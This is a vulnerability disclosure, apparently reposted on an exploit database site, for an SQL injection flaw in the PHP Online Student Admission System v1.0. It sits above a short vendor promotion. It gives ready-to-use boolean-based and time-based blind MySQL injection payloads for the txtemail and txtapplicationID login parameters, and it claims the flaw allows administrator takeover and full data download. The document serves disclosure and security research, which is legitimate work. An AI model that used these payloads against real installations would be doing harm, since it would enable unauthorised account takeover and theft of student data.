## Title: Online Student Admission v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.28.2022
## Vendor: https://www.sourcecodester.com/users/walterjnr1
## Software: https://www.sourcecodester.com/php/14874/online-student-admission-system.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Walterjnr1/Online-Student-Admission
## Description:
The `txtapplicationID` parameter appears to be vulnerable to SQL injection attacks.
The payloads 42711511' or '9502'='9502 and 76156004' or '1693'='1699 were each submitted in the txtapplicationID parameter.
These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.
Status: CRITICAL
[+] Payloads:
```mysql
---
Parameter: txtemail (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: [email protected]/php/14874/online-student-admission-system.html' RLIKE (SELECT (CASE WHEN (3278=3278) THEN 0x416f72467a74676940736f75726365636f6465737465722e636f6d2f7068702f31343837342f6f6e6c696e652d73747564656e742d61646d697373696f6e2d73797374656d2e68746d6c ELSE 0x28 END)) AND 'ZJbf'='ZJbf&txtapplicationID=50649742711511' or '9502'='9502&btnlogin=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]/php/14874/online-student-admission-system.html' AND (SELECT 6166 FROM (SELECT(SLEEP(5)))illi) AND 'pUbk'='pUbk&txtapplicationID=50649742711511' or '9502'='9502&btnlogin=
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Walterjnr1/Online-Student-Admission)
## Proof and Exploit:
[href](https://streamable.com/1mcljv)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation